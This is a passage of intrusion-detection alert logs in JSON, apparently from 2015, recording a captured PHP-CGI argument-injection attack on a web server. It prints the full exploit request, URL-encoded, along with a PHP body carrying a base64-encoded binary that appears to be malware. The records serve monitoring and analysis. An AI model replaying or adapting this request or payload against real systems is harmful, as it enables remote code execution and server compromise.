OSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p"}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBVURzUUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQU9BQUNBRUFBQUFBQUFBRUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVBQUFBQUFBVFVNQUFBQUFBQUJOUXdBQUFBQUFBQUFBRUFBQUFBQUFBUUFBQUFZQUFBRGdtd0FBQUFBQUFPQ2JVQUFBQUFBQTRKdFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUNablpaNFZWQllJUWdJRFJZQUFBQUFZSjRBQUdDZUFBQUFBZ0FBcUFBQUFBZ0FBQUM3K3lEL2YwVk1SZ0lCQVFBQ0FENEFHOUFiUUIvM04vbmVDeENnbHljNEFBZ0tRTnJhK3hzQUdnQUdIZ1ZQRGtCNXQybnZ3TFVQQ0U4RDRBVHRIZXdXOFVBUEhBc1BXNEZiTWdIZkd3K3hic2tIWklrQUFSQnZEdVF0M1FZZGtBNVFNTW5KeE42cDRBdHZBaWprZ21uTEtBK2d2NkRrVTA0dUJCd1BRRCtaOWc0Z0N3OEVVT1YwWkR1UTkzWVg1SUFkRGtDVXp4dWNhMjhQYjFGT0FTU0VZQVJQcUNSSmt2OWtod0FBV2pnQUFBaEpCd0J2LzdiOUwyeHBZalkwQ21RdEVHNTFlQzE0T0RZdEhpNXpieTdzL3J6Mk1nQUVBQUFRQmdGSFRsVUFBUUlBZHZJbTJRWUFReFpRU3cvUDh6enZQRDVKUUUweU85am5uVHhFU2dZSE9RQUI4N3JKbXhNV05NOHAxaGFlZDNMSk5pZ05OalUrZ3BQbmVVVk1JRTluNTNuZTdRc2ZTRDRGS3pGeU8zbWVKU29qSVE4NFRtNVhjQzBuUFE5SER2TTh6L01HT2tGR0d4Uk4wRDdQVGdnekFBRUQzSzZRcTE4UEdFY1FkOG56bkJVRUNoSVd1V0Mza3g4ZUR5YWZFVjNJeVRzdVJna2lMTjZGdklzZkJpWXdKeDRrUEp5OFN5OFdOeHhPUC9JOHovTVhHVUlkRENYdFZYSWFpZ0V1RXA1Y3lNazRicU5KQWhOeWRrSklBWTkyQUFYc2RpRW5ubXhmdkMva1FrWmVoUUFtS0xtUUMrUlB5UGZJa3dzNTlsN0hBQ1lJbmt6SUNBSWZjU0U1dVFpdmpzNjU0VUp1angrdkR3dTRrSk1MMVhTUmkwMGdMeDlxQUE2L01uc2h0NWt2YU8xRWozdnRZaWNYSVNEdm15K2NrQmZJZ2hVQ3ZncVo0b1dNQjJJQmp6c1h5TWdMSVFJWVZnSVpPYkVBWDk4THRJdmdndUVHYjFzZnljVTYwZWtIRkRjdFg1d0xPYm5Zenk4T3UwZGV5TWc4QVpWVUFMTUFGM0l5SWR6L3FveThrSkVCK0dZQTBGekl5WVdMOG1SeWNpRjNmOXdTUVZ1NzJBVmpYeXMvajNLNzJBQ2tYNlF2TlBKaVlSZjBiNys1QVN3TUZ6SmwxSzh2Y2pLeEYyb0NYNkxaWE1nRkZ4QWZ3ZklodDVDYzk3OHViaGR5Y2pmck0xOWlGekx5UWprQk5LMUdYc2hGbjFISkFGU1JGN3RBU0M4OEF4ZHl1NURoUysvSWtIWkFnV0VSQWcvb2o3a0lUaTZwU1U4bEZ6S0JQTG9BUEhHY1hNZ0YzNWdSUXJEUWRZRnhuejh1NUhheEx3cVByZTVlNFlYY0wzc2ZBYXZBYlIreGFSRkFsWnNJUHhlYm10QTlJQTlDNzBFNXViaHVqOVEvQ2xuL0Yrd0NGYjhBWDBwMlgxSmxaMmwyKyszL2MzUmxja05zWVhOelpYTW1YMmR0YjI1ZkpHRnlkQmIveE4rSkFIUndkR2h5WldGa1hqQUFkMkZ0VGJYOWFYUndhV1FBSW1OMmNGQnVEblFBV3J0cHYwTmZaWGhwR1dNS3JnQ21idHRkejk1YVlXTmpaUzU1cW05eWF5cHBaL2Jmbm0wbWRHbCszbWh1Y25KdWIxOXNiMk5oSlZ0M3NOZ2hDR1A5Tm01MGN2LzJhL1pqY0hrQUtIaHNHR1J2ZGFCMmMzQnlhVzUwWnUzK2JHc2ViaEdBVG5SdmJGOGFsRzVkY0ErMllWUm5aV3RtRHNSdFpXMVoyd1RYaVhES0ZpWmxiMkp0UmdMYkJOdmFnbXhsVGdwNWMzQk1EbXd6YTBCdlJQanVZMnRxam15c1dmc04xV1ptYkhWemFBeGpYQ0lBYXBXZEdScEtiUXg1YTJrTUp0Nkdaak55ekdsdVh3UmtjbXAwNE4xMjVuK1FjaFpsYTlycDRXRFEzVDRFRFc0VXJRcnNCSnY4dm0xd2QyUjFFT1J2Mm9FTi9qSmZTVTlmYUxxamZteG40R0F0V1c2TXhaSEF3T0IrWmhnaThuTnlZZlRSOXR1WndkTnVPQmxqZHlkb2Iyd3d3VDNEWW5rU0tHaVNDWEJCV3hoT2lXWjNhbEFvZDNkNGZtWVliUGIxY0hWbXNGWWdlQTh3L0hrUVh6UVEzT0lnT0hRN0FHUmhBalBzc0xoaFEyZVVoQ3FlUVFOYmJFMStjMEJtdFg4YlRHck9SMHhKUWtOZk1pNENOVzNydm80WE0wa0RBd2NEMXRLV3ZCWURDeWZrYW0vRUE1ZVBCQkFzdHExYkt5dFBudDZxVHdJa25oQjFHclozdThacENhcDJRUUZTcVQrMzkvazFZaE5wYVEyQ0FpZGZBbVNZOFNISWtWREhUeTk1dzVVL0JTNUs2QWZiSkRQb0FGNWFyd0h3ajhrbGwzUXZBdmdEa2tzbWVRQ1NCQWhMTHJua0JSQUdMcm5ra2hnSElBaTU1SkpMS0FrdzVKSkxMZ280QzVKTExybEFERWhMTHJua0RWQU9Mcm5ra2xnUFlCQzU1SkpMYUJGdzVKSkxMaEo0RTVKTExybUFGSWhMTHJua0ZaQVdMcm5ra3BnWG9CaTU1SkpMcUJtdzVKSkxMaHE0RzVKTExybkFITWhMTHJua0hkQWVMcm5ra3RnZjRDQ0FuSnlJLzJGYklTUURNc21TSXBJZ2t3eklJNU1reVlCTU1wTWxrOGdrQXpJbWt5Y3lJSk1Na3lpVE1zbUFUQ21US2d6SUpBT1RLNU5NTWlDVExKTXRBekxKZ0pNdWs1TU15Q1F2a3pDQVRESWdrekVrQXpMSmt6S1RJSk1NeURPVE5NbUFUREtUTlpQSUpBTXlOcE0zTWlDVERKTTRrekxKZ0V3NWt6b015Q1FEa3p1VFRESWdrenlUUFFNeXlZQ1RQcE9URE1na1A1TkFBVGs1SVdSY1FVa0daSktUUXBOQUpobVFRNVJFa2dHWlpKUkZsSkJKQm1SR2xFZGtRQ1labEVpVVpKSUJtVW1VVEJtUVNRYVVUWlI5ZUVBbVRvUHNDRVlaK08vLzdmTUlHbHh1SENURUNNUC9OZEo2RUFEL0pkUUtrSFlxZFhZQUVoOW9GUlQ4SHBMS0pKWEtBY0lDcERKSlpib0RzZ1NwVEZLWnFnV2lCaXFUVkNhYUI1SUl5aVNWU1lvSmdqSkpaWklLZWd0eVRGS1pwQXhxRFdLVFZDYXBEbG9QVWlTVlNTb1FTaEZKWlpMS1FoSTZFMUtacERJeUZDb1ZWQ2FwVENJV0doZVZTU3FURWhnS0dYT1N5aVFDR3ZwNW1hUXl5UnZ5SE9vbXFVeFNIZUllMmtrcWsxUWYwaUNTeWlTVnlpSENJcVF5U1dXNkk3SWtxVXhTbWFvbG9pWXFrMVFtbWllU0tNb2tsVW1LS1lJeVNXV1NLbm9yY2t4U21hUXNhaTFpazFRbXFTNWFMMUlrbFVrcU1Fb3hTV1dTeWtJeU9qTlNtYVF5TWpRcU5WUW1xVXdpTmhvM2xVa3FreEk0Q2psemtzb2tBanI2ZUpta01zazc4anpxSnFsTVVqM2lQdHBKS3BOVVA5SkFrc29rbGNwQndrS2tNa2xsdWtPeVJLbE1VcG1xUmFKR0twTlVKcHBIa2tqS0pKVkppa21DUDBobGtrcDZTMGd4N1VtSkJmOEYrTkZlU0luaXZPVHdVRlJK","payload_printable":"POST \/cgi-bin\/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP\/1.1\r\nHost: 128.101.111.14\r\nUser-Agent: Mozilla\/5.0 (Windows NT 6.3; rv:36.0) Gecko\/20100101 Firefox\/36.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 43368\r\nConnection: close\r\n\r\n<?php\n$bufferf = 'f0VMRgIBAQMAAAAAAAAAAAIAPgABAAAAUDsQAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAACAEAAAAAAAAEAAAAFAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAATUMAAAAAAABNQwAAAAAAAAAAEAAAAAAAAQAAAAYAAADgmwAAAAAAAOCbUAAAAAAA4JtQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAACZnZZ4VVBYIQgIDRYAAAAAYJ4AAGCeAAAAAgAAqAAAAAgAAAC7+yD\/f0VMRgIBAQACAD4AG9AbQB\/3N\/neCxCglyc4AAgKQNra+xsAGgAGHgVPDkB5t2nvwLUPCE8D4ATtHewW8UAPHAsPW4FbMgHfGw+xbskHZIkAARBvDuQt3QYdkA5QMMnJxN6p4AtvAijkgmnLKA+gv6DkU04uBBwPQD+Z9g4gCw8EUOV0ZDuQ93YX5IAdDkCUzxuca28Pb1FOASSEYARPqCRJkv9khwAAWjgAAAhJBwBv\/7b9L2xpYjY0CmQtEG51eC14ODYtHi5zby7s\/rz2MgAEAAAQBgFHTlUAAQIAdvIm2QYAQxZQSw\/P8zzvPD5JQE0yO9jnnTxESgYHOQAB87rJmxMWNM8p1haed3LJNigNNjU+gpPneUVMIE9n53ne7QsfSD4FKzFyO3meJSojIQ84Tm5XcC0nPQ9HDvM8z\/MGOkFGGxRN0D7PTggzAAED3K6Qq18PGEcQd8nznBUEChIWuWC3kx8eDyafEV3IyTsuRgkiLN6FvIsfBiYwJx4kPJy8Sy8WNxxOP\/I8z\/MXGUIdDCXtVXIaigEuEp5cyMk4bqNJAhNydkJIAY92AAXsdiEnnmxfvC\/kQkZehQAmKLmQC+RPyPfIkws59l7HACYInkzICAIfcSE5uQivjs654UJujx+vDwu4kJML1XSRi00gLx9qAA6\/Mnsht5kvaO1Ej3vtYicXISDvmy+ckBfIghUCvgqZ4oWMB2IBjzsXyMgLIQIYVgIZObEAX98LtIvgguEGb1sfycU60ekHFDctX5wLObnYzy8Ou0deyMg8AZVUALMAF3IyIdz\/qoy8kJEB+GYA0FzIyYWL8mRyciF3f9wSQVu72AVjXys\/j3K72ACkX6QvNPJiYRf0b7+5ASwMFzJl1K8vcjKxF2oCX6LZXMgFFxAfwfIht5Cc978ubhdycjfrM19iFzLyQjkBNK1GXshFn1HJAFSRF7tASC88Axdyu5DhS+\/IkHZAgWERAg\/oj7kITi6pSU8lFzKBPLoAPHGcXMgF35gRQrDQdYFxnz8u5HaxLwqPre5e4YXcL3sfAavAbR+xaRFAlZsIPxebmtA9IA9C70E5ubhuj9Q\/Cln\/F+wCFb8AX0p2X1JlZ2l2++3\/c3RlckNsYXNzZXMmX2dtb25fJGFydBb\/xN+JAHRwdGhyZWFkXjAAd2FtTbX9aXRwaWQAImN2cFBuDnQAWrtpv0NfZXhpGWMKrgCmbttdz95aYWNjZS55qm9yayppZ\/bfnm0mdGl+3mhucnJub19sb2NhJVt3sNghCGP9Nm50cv\/2a\/ZjcHkAKHhsGGRvdaB2c3ByaW50Zu3+bGsebhGATnRvbF8alG5dcA+2YVRnZWtmDsRtZW1Z2wTXiXDKFiZlb2JtRgLbBNvagmxlTgp5c3BMDmwza0BvRPjuY2tqjmysWfsN1WZmbHVzaAxjXCIAapWdGRpKbQx5a2kMJt6GZjNyzGluXwRkcmp04N125n+QchZla9rp4WDQ3T4EDW4UrQrsBJv8vm1wd2R1EORv2oEN\/jJfSU9faLqjfmxn4GAtWW6MxZHAwOB+Zhgi8nNyYfTR9tuZwdNuOBljdydob2wwwT3DYnkSKGiSCXBBWxhOiWZ3alAod3d4fmYYbPb1cHVmsFYgeA8w\/HkQXzQQ3OIgOHQ7AGRhAjPssLhhQ2eUhCqeQQNbbE1+c0BmtX8bTGrOR0xJQkNfMi4CNW3rvo4XM0kDAwcD1tKWvBYDCyfkam\/EA5ePBBAstq1bKytPnt6qTwIknhB1GrZ3u8ZpCap2QQFSqT+39\/k1YhNpaQ2CAidfAmSY8SHIkVDHTy95w5U\/BS5K6AfbJDPoAF5arwHwj8kll3QvAvgDkksmeQCSBAhLLrnkBRAGLrnkkhgHIAi55JJLKAkw5JJLLgo4C5JLLrlADEhLLrnkDVAOLrnkklgPYBC55JJLaBFw5JJLLhJ4E5JLLrmAFIhLLrnkFZAWLrnkkpgXoBi55JJLqBmw5JJLLhq4G5JLLrnAHMhLLrnkHdAeLrnkktgf4CCAnJyI\/2FbISQDMsmSIpIgkwzII5MkyYBMMpMlk8gkAzImkycyIJMMkyiTMsmATCmTKgzIJAOTK5NMMiCTLJMtAzLJgJMuk5MMyCQvkzCATDIgkzEkAzLJkzKTIJMMyDOTNMmATDKTNZPIJAMyNpM3MiCTDJM4kzLJgEw5kzoMyCQDkzuTTDIgkzyTPQMyyYCTPpOTDMgkP5NAATk5IWRcQUkGZJKTQpNAJhmQQ5REkgGZZJRFlJBJBmRGlEdkQCYZlEiUZJIBmUmUTBmQSQaUTZR9eEAmToPsCEYZ+O\/\/7fMIGlxuHCTECMP\/NdJ6EAD\/JdQKkHYqdXYAEh9oFRT8HpLKJJXKAcICpDJJZboDsgSpTFKZqgWiBiqTVCaaB5IIyiSVSYoJgjJJZZIKegtyTFKZpAxqDWKTVCapDloPUiSVSSoQShFJZZLKQhI6E1KZpDIyFCoVVCapTCIWGheVSSqTEhgKGXOSyiQCGvp5maQyyRvyHOomqUxSHeIe2kkqk1Qf0iCSyiSVyiHCIqQySWW6I7IkqUxSmaoloiYqk1QmmieSKMoklUmKKYIySWWSKnorckxSmaQsai1ik1QmqS5aL1IklUkqMEoxSWWSykIyOjNSmaQyMjQqNVQmqUwiNho3lUkqkxI4CjlzksokAjr6eJmkMsk78jzqJqlMUj3iPtpJKpNUP9JAksoklcpBwkKkMkllukOyRKlMUpmqRaJGKpNUJppHkkjKJJVJikmCP0hlkkp6S0gx7UmJBf8F+NFeSInivOTwUFRJx8Cgb5pIwD\/w78fB","stream":1,"packet":"fK10kl+AfK10kj0AgQAOfggARQAF3B2fQAA4BpSAW3lAEIBlbw7hLgBQSnxXuMwd13OAEABzz3YAAAEBCAoDoFta1F+brmd6MzBEakF3N2hhSUhqKzh4a2ZVLzJIZ3k4dSsrc0R4Z0krM3l3VzdFaU5CQU13OXYrMkJsRC94a0QvUEExMDVUd0tkT0ZidzErRUgvNDVqeFU4Zy9qL2RBVmZ2d0U0dHJiOS94aWNQeUZmYkRrVVV5dm9lRjFtQjkxM3cvZDdHRUJjMkJZQmRDWkVGd3dZOENudGZraVlTUGMxeGlSSXVJVC93UENjSFZ6QUQ4aUp2dzRqRjd3dHUzYy9heVZJbVA4WG5QYjNQNFNKWENUd1RJbGtKUGhTS0VHSi9DQ1BPNHYxNFVHNEVNeTZGVmhxbllVTTd3UWtIZy9lWjZHc2RwdmNmbEJFaWVkWEZEV0xxTGMxdk9ZWVRJc2c0aWpqQmtGV1FSYmMvdnRWUVZSVlU5b2dUSTEwSkJ3SWJDUUV0dFIyY084ZWI4Y0ZHbnlzQU5BY205Szl0aTFvRDRTZ0hoMHlzRDRBMHdhaURTc012d2ExSUs1d204M2tlM2ppUGV1RTBMeVREUExPZHgyWkp0Zi93Mis0N3lDSlJQNDlwSDRNOHI0aFZOTnNzQmgrd0diaXZBcEU3cWJCM1RWTEhESC82WXpGNno0aE0zamF3VHpISFhCcnVqYzAzL0ViV3VZRXc5ZDBiWXNEUW1wMFpvUG9EenNNdDNJT0FYY2E2eGZza3lub1NHVEIwMjR5Q1hheWhDaEl4QzE4STgrQ1hiMHM2VXdjZ2h3WXRxRjlqL3c3MUVoalVCUW9RTGFKN2d4QnMzMitPRkFWVEIwQ1R1UjZSWEJEMnFCNE1jbTZEUlV5eWtBT3VaQUNzQWwvMFA3RmFDQmJYVUZjUVFaZW9ReVo5ejBaOGRYQlUzUklZK1FFMVpER29HaGdmZ2FCZTAyaXY0NDB2K2xVb1BkSmlkUlZVL09KM3YvL2I5ckM2eGJsU0lueVNQL0JTSTEyQVlBNklYUUpTRG5JMWVCV24zVVVDd09MTFJZaUVBVUxHclFFN3JjTTVIVXBQa0hoYThQL2dEd2tPZytVd0VrQnhBanRkUHp2UEdqUTBFVmNDT2M1TEJUZWVUdUF5OEJqa0ZEWEJJSVBQbDdWK3V2RUdBTXg5Z0FGLzg5ZXF2ODV3bk1TZ0RzZ2RBMy94aEREc01kOUJhTFdJbkx1Q0RNZ0ZVVlM4RzAyS29QNUJIN1dmdCtXTDVmS0lNRVpOVlo1SHE3Y0Mza1BoYU9pQm5ZQXJHQWcyQnQ0TkMza0MwNFJJWFI4R1FKKzJ0WXdDaVlQQzRzT08zcjBVNnpBU0xJUVRHd0NMNEMxT3pSY0VxQURpQVY0T0I5cG14UVFRd0VTYlFMR0JXQngyc1AxLzEwUENEWlFrRHRlOHdnWXc1Mzk3T0FXN1Y2Zk1oWXdBMXpybzFoM0xEQ2ZZUkZaV3dnL3JzSUpLa1l1cUp1OEdoejhSSE9jdjRod1FGekNwOEExWUFYb1p4dzEzNzBBZzZjaGpuODRlb2Zkc1pwc1lmOVZOUHp3YXdCUjFReVV5d2kvZTJ1TE5IUXd4dlVFMCtzTWtOOHAwM1FaU0FFYW5BSzB4UlRhaHU0YlhIS3Q0NjhZQUh3VGRkK3E2RURZMDAzeHIyWUZ3OXVET0FSMUJsaTI2OEZ0Z0EzcXg4QkY2OXphM3lqNGl1N1RmN3dHdzNVQ1c4T0ZnUUVLZmtGWGpVSURGdGZ2THFEQlAwMzFTVEh0UUREdE9Sait5cldpTmtTWStNYmFFUFpCd2Y4QzFUdkhpYWtXM0hzakVCNjdNZTNlN0EzTUdJaFVQM1FHYlREYno3Q0s3V001NEFGN2hFd3hzSW05eGlBQVFRSzlQSzN0Mk42OGhkc1BqaElpM0JZVUpBWk1Yb21HMzk3dzBJUGlBN3dDd2VJRUhzQkFpcWlnZ043RnRkZi9p","alert":{"action":"allowed","gid":1,"signature_id":2016978,"rev":3,"signature":"ET WEB_SERVER safe_mode PHP config option in uri","category":"A Network Trojan was Detected","severity":1,"tx_id":0}}
|
|
{"timestamp":"2015-04-07T11:30:44.546943","flow_id":140262261274608,"in_iface":"snf0","event_type":"alert","vlan":3710,"src_ip":"91.121.64.16","src_port":57646,"dest_ip":"128.101.111.14","dest_port":80,"proto":"TCP","payload":"cMladbN\/AAAAEAAA\/w8AAFBPU1QgL2NnaS1iaW4vcGhwPyUyRCU2NCslNjElNkMlNkMlNkYlNzclNUYlNzUlNzIlNkMlNUYlNjklNkUlNjMlNkMlNzUlNjQlNjUlM0QlNkYlNkUrJTJEJTY0KyU3MyU2MSU2NiU2NSU1RiU2RCU2RiU2NCU2NSUzRCU2RiU2NiU2NislMkQlNjQrJTczJTc1JTY4JTZGJTczJTY5JTZFJTJFJTczJTY5JTZEJTc1JTZDJTYxJTc0JTY5JTZGJTZFJTNEJTZGJTZFKyUyRCU2NCslNjQlNjklNzMlNjElNjIlNkMlNjUlNUYlNjYlNzUlNkUlNjMlNzQlNjklNkYlNkUlNzMlM0QlMjIlMjIrJTJEJTY0KyU2RiU3MCU2NSU2RSU1RiU2MiU2MSU3MyU2NSU2NCU2OSU3MiUzRCU2RSU2RiU2RSU2NSslMkQlNjQrJTYxJTc1JTc0JTZGJTVGJTcwJTcyJTY1JTcwJTY1JTZFJTY0JTVGJTY2JTY5JTZDJTY1JTNEJTcwJTY4JTcwJTNBJTJGJTJGJTY5JTZFJTcwJTc1JTc0KyUyRCU2NCslNjMlNjclNjklMkUlNjYlNkYlNzIlNjMlNjUlNUYlNzIlNjUlNjQlNjklNzIlNjUlNjMlNzQlM0QlMzArJTJEJTY0KyU2MyU2NyU2OSUyRSU3MiU2NSU2NCU2OSU3MiU2NSU2MyU3NCU1RiU3MyU3NCU2MSU3NCU3NSU3MyU1RiU2NSU2RSU3NiUzRCUyMiU3OSU2NSU3MyUyMislMkQlNjQrJTYzJTY3JTY5JTJFJTY2JTY5JTc4JTVGJTcwJTYxJTc0JTY4JTY5JTZFJTY2JTZGJTNEJTMxKyUyRCU2NCslNjElNzUlNzQlNkYlNUYlNzAlNzIlNjUlNzAlNjUlNkUlNjQlNUYlNjYlNjklNkMlNjUlM0QlNzAlNjglNzAlM0ElMkYlMkYlNjklNkUlNzAlNzUlNzQrJTJEJTZFIEhUVFAvMS4xDQpIb3N0OiAxMjguMTAxLjExMS4xNA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4zOyBydjozNi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM2LjANCkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkDQpDb250ZW50LUxlbmd0aDogNDMzNjgNCkNvbm5lY3Rpb246IGNsb3NlDQoNCjw\/cGhwCiRidWZmZXJmID0gJ2YwVk1SZ0lCQVFNQUFBQUFBQUFBQUFJQVBnQUJBQUFBV